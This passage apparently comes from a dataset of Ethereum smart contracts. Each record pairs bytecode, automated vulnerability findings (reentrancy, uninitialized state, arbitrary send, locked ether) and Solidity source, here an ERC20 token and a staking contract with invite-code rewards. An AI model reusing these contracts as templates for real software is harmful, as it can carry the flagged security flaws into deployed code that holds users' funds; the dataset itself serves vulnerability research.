ffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061353d816139b2565b6135478483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561382d5782600260006009848154811061360557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136ec575081600360006009848154811061368457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561370a57600a54683635c9adc5dea0000094509450505050613874565b613793600260006009848154811061371e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138e090919063ffffffff16565b925061381e60036000600984815481106137a957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138e090919063ffffffff16565b915080806001019150506135e6565b5061384c683635c9adc5dea00000600a5461286290919063ffffffff16565b82101561386b57600a54683635c9adc5dea00000935093505050613874565b81819350935050505b9091565b60008060008060008060008060006138958a600c54600d54613b91565b92509250925060006138a5612b03565b905060008060006138b88e878787613c27565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061392283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122b3565b905092915050565b6000808284019050838110156139a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139bc612b03565b905060006139d382846127dc90919063ffffffff16565b9050613a2781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b5257613b0e83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b6c82600a546138e090919063ffffffff16565b600a81905550613b8781600b5461392a90919063ffffffff16565b600b819055505050565b600080600080613bbd6064613baf888a6127dc90919063ffffffff16565b61286290919063ffffffff16565b90506000613be76064613bd9888b6127dc90919063ffffffff16565b61286290919063ffffffff16565b90506000613c1082613c02858c6138e090919063ffffffff16565b6138e090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c4085896127dc90919063ffffffff16565b90506000613c5786896127dc90919063ffffffff16565b90506000613c6e87896127dc90919063ffffffff16565b90506000613c9782613c8985876138e090919063ffffffff16565b6138e090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212204f3d536b8a6d1d7608eb4ad810f26782511db3b4dfb2090a2e39d6100c3bb31864736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,412 |
0x597132d1ad5f4a679a3484fab2d62ee0c069fe5c
|
pragma solidity 0.4.21;
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract ROF is ERC20Interface, Pausable {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ROF() public {
symbol = "ROF";
name = "NeoWorld Rare Ore F";
decimals = 18;
_totalSupply = 10000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public whenNotPaused returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function increaseApproval (address _spender, uint _addedValue) public whenNotPaused
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
0x6060604052600436106101035763ffffffff60e060020a60003504166306fdde038114610108578063095ea7b31461019257806318160ddd146101c857806323b872dd146101ed578063313ce567146102155780633eaaf86b1461023e5780633f4ba83a146102515780635c975abb14610264578063661884631461027757806370a082311461029957806379ba5097146102b85780638456cb59146102cd5780638da5cb5b146102e057806395d89b411461030f578063a9059cbb14610322578063cae9ca5114610344578063d4ee1d90146103a9578063d73dd623146103bc578063dc39d06d146103de578063dd62ed3e14610400578063f2fde38b14610425575b600080fd5b341561011357600080fd5b61011b610444565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015757808201518382015260200161013f565b50505050905090810190601f1680156101845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019d57600080fd5b6101b4600160a060020a03600435166024356104e2565b604051901515815260200160405180910390f35b34156101d357600080fd5b6101db610553565b60405190815260200160405180910390f35b34156101f857600080fd5b6101b4600160a060020a0360043581169060243516604435610585565b341561022057600080fd5b6102286106b2565b60405160ff909116815260200160405180910390f35b341561024957600080fd5b6101db6106bb565b341561025c57600080fd5b6101b46106c1565b341561026f57600080fd5b6101b4610745565b341561028257600080fd5b6101b4600160a060020a0360043516602435610755565b34156102a457600080fd5b6101db600160a060020a0360043516610858565b34156102c357600080fd5b6102cb610873565b005b34156102d857600080fd5b6101b4610901565b34156102eb57600080fd5b6102f361098a565b604051600160a060020a03909116815260200160405180910390f35b341561031a57600080fd5b61011b610999565b341561032d57600080fd5b6101b4600160a060020a0360043516602435610a04565b341561034f57600080fd5b6101b460048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610add95505050505050565b34156103b457600080fd5b6102f3610c45565b34156103c757600080fd5b6101b4600160a060020a0360043516602435610c54565b34156103e957600080fd5b6101b4600160a060020a0360043516602435610cfe565b341561040b57600080fd5b6101db600160a060020a0360043581169060243516610d91565b341561043057600080fd5b6102cb600160a060020a0360043516610dbc565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104da5780601f106104af576101008083540402835291602001916104da565b820191906000526020600020905b8154815290600101906020018083116104bd57829003601f168201915b505050505081565b60015460009060a060020a900460ff16156104fc57600080fd5b600160a060020a0333811660008181526007602090815260408083209488168084529490915290819020859055600080516020610e2c8339815191529085905190815260200160405180910390a350600192915050565b6000805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546005540390565b60015460009060a060020a900460ff161561059f57600080fd5b600160a060020a0384166000908152600660205260409020546105c8908363ffffffff610e0616565b600160a060020a038086166000908152600660209081526040808320949094556007815283822033909316825291909152205461060b908363ffffffff610e0616565b600160a060020a0380861660009081526007602090815260408083203385168452825280832094909455918616815260069091522054610651908363ffffffff610e1816565b600160a060020a03808516600081815260066020526040908190209390935591908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60045460ff1681565b60055481565b6000805433600160a060020a039081169116146106dd57600080fd5b60015460a060020a900460ff1615156106f557600080fd5b6001805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a150600190565b60015460a060020a900460ff1681565b600154600090819060a060020a900460ff161561077157600080fd5b50600160a060020a03338116600090815260076020908152604080832093871683529290522054808311156107cd57600160a060020a033381166000908152600760209081526040808320938816835292905290812055610804565b6107dd818463ffffffff610e0616565b600160a060020a033381166000908152600760209081526040808320938916835292905220555b600160a060020a033381166000818152600760209081526040808320948916808452949091529081902054600080516020610e2c833981519152915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526006602052604090205490565b60015433600160a060020a0390811691161461088e57600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b6000805433600160a060020a0390811691161461091d57600080fd5b60015460a060020a900460ff161561093457600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a150600190565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104da5780601f106104af576101008083540402835291602001916104da565b60015460009060a060020a900460ff1615610a1e57600080fd5b600160a060020a033316600090815260066020526040902054610a47908363ffffffff610e0616565b600160a060020a033381166000908152600660205260408082209390935590851681522054610a7c908363ffffffff610e1816565b600160a060020a0380851660008181526006602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60015460009060a060020a900460ff1615610af757600080fd5b600160a060020a0333811660008181526007602090815260408083209489168084529490915290819020869055600080516020610e2c8339815191529086905190815260200160405180910390a383600160a060020a0316638f4ffcb1338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610bdd578082015183820152602001610bc5565b50505050905090810190601f168015610c0a5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610c2b57600080fd5b5af11515610c3857600080fd5b5060019695505050505050565b600154600160a060020a031681565b60015460009060a060020a900460ff1615610c6e57600080fd5b600160a060020a03338116600090815260076020908152604080832093871683529290522054610ca4908363ffffffff610e1816565b600160a060020a033381166000818152600760209081526040808320948916808452949091529081902084905591929091600080516020610e2c83398151915291905190815260200160405180910390a350600192915050565b6000805433600160a060020a03908116911614610d1a57600080fd5b600054600160a060020a038085169163a9059cbb91168460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610d7457600080fd5b5af11515610d8157600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610dd757600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610e1257fe5b50900390565b81810182811015610e2557fe5b9291505056008c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a165627a7a72305820f369f28b70cb8292fc77d3559efa3e9e1794688ef74a8975ae7205f0db85b3550029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,413 |
0xee7fbace7f6c7631e7eb37b630922dd3103c0bd4
|
/**
*Submitted for verification at Etherscan.io on 2021-01-27
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-13
*/
pragma solidity 0.4.26;
contract IERC20 {
uint public decimals;
string public name;
string public symbol;
mapping(address => uint) public balances;
mapping (address => mapping (address => uint)) public allowed;
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Distribute{
using SafeMath for uint;
event GetFod(address getAddress, uint256 value);
event DepositeFod(address ethAddress, uint256 value);
event UseInviteCode(address ethAddress, bytes4 code);
struct Pledge{
uint day;
uint investAmount;
uint256 earnings;
uint rate;
uint vipRate;
uint createTime;
uint dueTime;
uint receivedDay;
uint end;
}
struct Invite{
address userAddr;
uint investAmount;
uint256 earnings;
uint rate;
uint vipRate;
uint day;
uint256 createTime;
uint256 dueTime;
uint256 receivedDay;
uint end;
}
uint intervalTime=86400;
uint public yieldRate=110;
uint public inviteYieldRate=100;
address public founder;
address fod=0xc7bE1Cf99e6a691ad5c56E3D63AD9667C6932E63;
uint fodDecimals=8;
mapping (bytes4 => Invite[]) public inviteLogs;
mapping (address => bytes4) public useInviteCodeMap;
mapping (bytes4 => address) public inviteCodeMap;
mapping (bytes4 => uint) public codeUsageCounts;
mapping (address => Pledge[]) public addressToPledge;
mapping(uint=>uint) public dateToYields;
mapping(uint=>uint) public dayMap;
constructor() public {
dateToYields[0]=18;
dateToYields[1]=26;
dateToYields[2]=36;
dateToYields[3]=46;
dateToYields[4]=56;
dayMap[0]=1;
dayMap[1]=7;
dayMap[3]=30;
dayMap[2]=60;
dayMap[4]=90;
founder = msg.sender;
}
function getAddrInviteCode(address _addr) view returns (bytes4) {
bytes4 inviteCode=bytes4(keccak256((_addr)));
if(inviteCodeMap[inviteCode]!=0){
return inviteCode;
}else{
return 0;
}
}
function getInviteCode() view returns (bytes4) {
bytes4 inviteCode=bytes4(keccak256((msg.sender)));
return inviteCode;
}
function getPledgeCount(address _addr) view returns (uint) {
return addressToPledge[_addr].length;
}
function getInvitesCount(address _addr) view returns (uint) {
bytes4 inviteCode=bytes4(keccak256((msg.sender)));
return inviteLogs[inviteCode].length;
}
function setYieldRate(uint _yieldRate) public onlyOwner returns (bool success) {
yieldRate=_yieldRate;
return true;
}
function setInviteYieldRate(uint _inviteYieldRate) public onlyOwner returns (bool success) {
inviteYieldRate=_inviteYieldRate;
return true;
}
function setDateToYield(uint _index,uint _yield) public onlyOwner returns (bool success) {
dateToYields[_index]=_yield;
return true;
}
function setDayMap(uint _index,uint _day) public onlyOwner returns (bool success) {
dayMap[_index]=_day;
return true;
}
function getTotalUnLockAmount(address _addr) public view returns (uint256) {
uint256 unlockAmount;
uint256 currentAmount;
Pledge[] pledges=addressToPledge[_addr];
for(uint i=0;i<pledges.length;i++){
if(pledges[i].end==1)continue;
uint day=(now.sub(pledges[i].createTime)).div(intervalTime);
uint256 dayAmount=pledges[i].earnings.div(pledges[i].day);
if(now>pledges[i].dueTime){
if(day.add(pledges[i].receivedDay)>=pledges[i].day){
currentAmount=(pledges[i].day.sub(pledges[i].receivedDay)).mul(dayAmount).add(pledges[i].investAmount);
}else{
currentAmount=(day.sub(pledges[i].receivedDay)).mul(dayAmount).add(pledges[i].investAmount);
}
}else{
currentAmount=(day.sub(pledges[i].receivedDay)).mul(dayAmount);
}
unlockAmount=unlockAmount.add(currentAmount);
}
bytes4 inviteCode=bytes4(keccak256((_addr)));
Invite[] Invites=inviteLogs[inviteCode];
for(uint j=0;j<Invites.length;j++){
if(Invites[j].end==1)continue;
uint day2=(now.sub(Invites[j].createTime)).div(intervalTime);
uint256 dayAmount2=Invites[j].earnings.div(Invites[j].day);
if(day2.add(Invites[j].receivedDay)>=Invites[j].day){
currentAmount=(Invites[j].day.sub(Invites[j].receivedDay)).mul(dayAmount2);
}else{
currentAmount=(day2.sub(Invites[j].receivedDay)).mul(dayAmount2);
}
unlockAmount=unlockAmount.add(currentAmount);
}
return unlockAmount;
}
function getTotalPledgeAmount(address _addr) public view returns (uint256) {
uint256 amount;
uint256 unlockAmount;
Pledge[] pledges=addressToPledge[_addr];
for(uint i=0;i<pledges.length;i++){
amount=amount.add(pledges[i].investAmount);
}
return amount;
}
function getUnLockPledgeAmount(address _addr) public view returns (uint256) {
uint256 unlockAmount;
uint256 currentAmount;
Pledge[] pledges=addressToPledge[_addr];
for(uint i=0;i<pledges.length;i++){
if(pledges[i].end==1)continue;
uint day=(now.sub(pledges[i].createTime)).div(intervalTime);
uint256 dayAmount=pledges[i].earnings.div(pledges[i].day);
if(now>pledges[i].dueTime){
if(day.add(pledges[i].receivedDay)>=pledges[i].day){
currentAmount=(pledges[i].day.sub(pledges[i].receivedDay)).mul(dayAmount).add(pledges[i].investAmount);
}else{
currentAmount=(day.sub(pledges[i].receivedDay)).mul(dayAmount).add(pledges[i].investAmount);
}
}else{
currentAmount=(day.sub(pledges[i].receivedDay)).mul(dayAmount);
}
unlockAmount=unlockAmount.add(currentAmount);
}
return unlockAmount;
}
function getTotalInviteAmount(address _addr) public view returns (uint256) {
uint256 amount;
bytes4 inviteCode=bytes4(keccak256((_addr)));
Invite[] Invites=inviteLogs[inviteCode];
for(uint i=0;i<Invites.length;i++){
amount=amount.add(Invites[i].earnings);
}
return amount;
}
function getUnlockInviteAmount(address _addr) public view returns (uint256) {
uint256 unlockAmount;
uint256 currentAmount;
bytes4 inviteCode=bytes4(keccak256((_addr)));
Invite[] Invites=inviteLogs[inviteCode];
for(uint j=0;j<Invites.length;j++){
if(Invites[j].end==1)continue;
uint day=(now.sub(Invites[j].createTime)).div(intervalTime);
uint256 dayAmount=Invites[j].earnings.div(Invites[j].day);
if(day.add(Invites[j].receivedDay)>=Invites[j].day){
currentAmount=(Invites[j].day.sub(Invites[j].receivedDay)).mul(dayAmount);
}else{
currentAmount=(day.sub(Invites[j].receivedDay)).mul(dayAmount);
}
unlockAmount=unlockAmount.add(currentAmount);
}
return unlockAmount;
}
function useInviteCode(bytes4 _inviteCode) public returns (bool success) {
require(useInviteCodeMap[msg.sender]==0);
require(inviteCodeMap[_inviteCode]!=0);
bytes4 inviteCode=bytes4(keccak256((msg.sender)));
require(_inviteCode!=inviteCode);
useInviteCodeMap[msg.sender]=_inviteCode;
codeUsageCounts[_inviteCode]=codeUsageCounts[_inviteCode]+1;
emit UseInviteCode(msg.sender,_inviteCode);
return true;
}
function depositeFod(uint256 _amount,uint _mode) public {
uint256 yie=100;
if(useInviteCodeMap[msg.sender]!=0){
yie=yieldRate;
}
IERC20 fodToken =IERC20(fod);
fodToken.transferFrom(msg.sender,this,_amount);
uint256 dueTime=now.add(dayMap[_mode].mul(intervalTime));
uint256 earnings=_amount.mul(yie).mul(dateToYields[_mode]).mul(dayMap[_mode]).div(3650000);
Pledge memory pledge=Pledge(dayMap[_mode],_amount,earnings,dateToYields[_mode],yie,now,dueTime,0,0);
addressToPledge[msg.sender].push(pledge);
if(useInviteCodeMap[msg.sender]!=0){
Invite memory invite=Invite(msg.sender,_amount,earnings.mul(inviteYieldRate).div(100),dateToYields[_mode],yie,dayMap[_mode],now,dueTime,0,0);
inviteLogs[useInviteCodeMap[msg.sender]].push(invite);
}
if(inviteCodeMap[bytes4(keccak256((msg.sender)))]==0){
inviteCodeMap[bytes4(keccak256((msg.sender)))]=msg.sender;
}
emit DepositeFod(msg.sender,_amount);
}
function receiveFod() public{
uint256 unlockAmount;
uint256 currentAmount;
Pledge[] pledges=addressToPledge[msg.sender];
for(uint i=0;i<pledges.length;i++){
if(pledges[i].end==1)continue;
uint day=(now.sub(pledges[i].createTime)).div(intervalTime);
uint256 dayAmount=pledges[i].earnings.div(pledges[i].day);
if(now>pledges[i].dueTime){
if(day.add(pledges[i].receivedDay)>=pledges[i].day){
currentAmount=(pledges[i].day.sub(pledges[i].receivedDay)).mul(dayAmount).add(pledges[i].investAmount);
}else{
currentAmount=(day.sub(pledges[i].receivedDay)).mul(dayAmount).add(pledges[i].investAmount);
}
pledges[i].end=1;
}else{
currentAmount=(day.sub(pledges[i].receivedDay)).mul(dayAmount);
pledges[i].receivedDay=day;
}
unlockAmount=unlockAmount.add(currentAmount);
}
bytes4 inviteCode=bytes4(keccak256((msg.sender)));
Invite[] Invites=inviteLogs[inviteCode];
for(uint j=0;j<Invites.length;j++){
if(Invites[j].end==1)continue;
uint day2=(now.sub(Invites[j].createTime)).div(intervalTime);
uint256 dayAmount2=Invites[j].earnings.div(Invites[j].day);
